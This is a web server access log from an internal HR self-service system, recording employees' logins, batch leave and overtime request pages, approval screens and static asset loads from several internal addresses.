192.168.11.64 - - [06/Sep/2025:08:30:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:30:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204
192.168.11.64 - - [06/Sep/2025:08:30:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.64 - - [06/Sep/2025:08:30:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:30:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:30:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:30:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:30:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.64 - - [06/Sep/2025:08:30:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6703184335812145 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:30:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6703184335812145 HTTP/1.1" 200 13560
192.168.11.64 - - [06/Sep/2025:08:30:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6703184335812145 HTTP/1.1" 200 15762 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6703184335812145" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:30:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6703184335812145 HTTP/1.1" 200 15762
192.168.11.64 - - [06/Sep/2025:08:30:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4222 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:30:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4222
192.168.11.64 - - [06/Sep/2025:08:31:00 +0800] "GET /eHR/img/N.png HTTP/1.1" 200 1041
192.168.11.64 - - [06/Sep/2025:08:31:00 +0800] "GET /eHR/img/N.png HTTP/1.1" 200 1041 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:08:31:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:08:31:20 +0800] "GET / HTTP/1.1" 200 439
192.168.40.48 - - [06/Sep/2025:08:31:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [06/Sep/2025:08:31:27 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826
192.168.40.48 - - [06/Sep/2025:08:31:30 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.48 - - [06/Sep/2025:08:31:30 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [06/Sep/2025:08:31:30 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217
192.168.40.48 - - [06/Sep/2025:08:31:30 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [06/Sep/2025:08:31:31 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10351
192.168.40.48 - - [06/Sep/2025:08:31:31 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10351 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.64 - - [06/Sep/2025:08:31:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:31:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [06/Sep/2025:08:31:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.64 - - [06/Sep/2025:08:31:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.48 - - [06/Sep/2025:08:31:48 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12251
192.168.40.48 - - [06/Sep/2025:08:31:48 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12251 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [06/Sep/2025:08:31:56 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4139 "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [06/Sep/2025:08:31:56 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4139
192.168.11.64 - - [06/Sep/2025:08:32:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3528870322407731 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:32:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3528870322407731 HTTP/1.1" 200 13560
192.168.11.64 - - [06/Sep/2025:08:32:24 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3528870322407731 HTTP/1.1" 200 15737 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3528870322407731" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:32:24 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3528870322407731 HTTP/1.1" 200 15737
192.168.11.64 - - [06/Sep/2025:08:32:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:32:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201
192.168.11.64 - - [06/Sep/2025:08:32:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:32:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.64 - - [06/Sep/2025:08:32:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:08:32:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.104 - - [06/Sep/2025:08:35:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.104 - - [06/Sep/2025:08:35:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:08:35:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.104 - - [06/Sep/2025:08:35:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 -
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/ess HTTP/1.1" 301 241
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.68 - - [06/Sep/2025:08:36:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.68 - - [06/Sep/2025:08:36:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.68 - - [06/Sep/2025:08:36:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.68 - - [06/Sep/2025:08:36:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.68 - - [06/Sep/2025:08:36:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.68 - - [06/Sep/2025:08:36:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:37:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:37:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [06/Sep/2025:08:37:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [06/Sep/2025:08:37:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.64 - - [06/Sep/2025:08:37:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.64 - - [06/Sep/2025:08:37:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.68 - - [06/Sep/2025:08:37:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:08:37:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [06/Sep/2025:08:37:11 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.68 - - [06/Sep/2025:08:37:11 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
